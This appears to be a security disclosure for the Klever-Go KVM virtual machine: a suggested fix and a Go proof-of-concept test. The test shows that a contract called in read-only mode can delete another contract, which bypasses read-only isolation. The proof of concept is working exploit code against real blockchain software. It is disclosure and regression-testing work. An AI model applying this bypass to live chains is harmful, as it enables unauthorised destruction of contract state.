Details
Suggested Fix
Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Proof-of-Concept Source
poc_kvm_readonly_delete_side_effect_test.go
package poc
/*
Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability : Read-only execution isolation bypass with contract delete side effect
Severity : Medium
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/[email protected]; go get github.com/stretchr/[email protected]; go mod tidy
*/
import (
"testing"
contextmock "github.com/klever-io/klever-go/kvm/mock/context"
worldmock "github.com/klever-io/klever-go/kvm/mock/world"
test "github.com/klever-io/klever-go/kvm/testcommon"
"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
"github.com/klever-io/klever-go/vmcommon"
"github.com/stretchr/testify/require"
)
func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")
// Record the initial delete side-effect state before any read-only execution occurs.
deletedBefore := make([][]byte, 0)
require.NotContains(t, deletedBefore, targetAddress)
vmOutput, err := test.BuildMockInstanceCallTest(t).
WithContracts(
// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
test.CreateMockContract(test.ParentAddress).
WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
host := parentInstance.Host
// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
result := vmhooks.ExecuteReadOnlyWithTypedArguments(
host,
100000,
[]byte("deleteTarget"),
test.ChildAddress,
nil,
)
require.Equal(t, int32(0), result)
return parentInstance
})
}),
// The child contract is called in read-only mode but attempts to delete a contract it owns.
test.CreateMockContract(test.ChildAddress).
WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
host := childInstance.Host
managedTypes := host.ManagedTypes()
// Encode the target address and call the production ManagedDeleteContract hook.
destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
argsHandle := managedTypes.NewManagedBuffer()
managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)
vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)
return childInstance
})
}),
// The target contract is upgradeable/deletable and owned by the read-only child.
test.CreateMockContract(targetAddress).
WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
WithOwnerAddress(test.ChildAddress).
WithMethods(),
).
// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
WithInput(test.CreateTestContractCallInputBuilder().
WithRecipientAddr(test.ParentAddress).
WithGasProvided(500000).
WithFunction("callReadOnlyChild").
Build()).
AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})
require.NoError(t, err)
// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
deletedAfter := vmOutput.DeletedAccounts
require.Greater(t, len(deletedAfter), len(deletedBefore))
require.Contains(t, deletedAfter, targetAddress)
t.Logf("deleted_accounts_before=%d", len(deletedBefore))
t.Logf("deleted_accounts_after=%d", len(deletedAfter))
t.Logf("target_deleted=%t", true)
}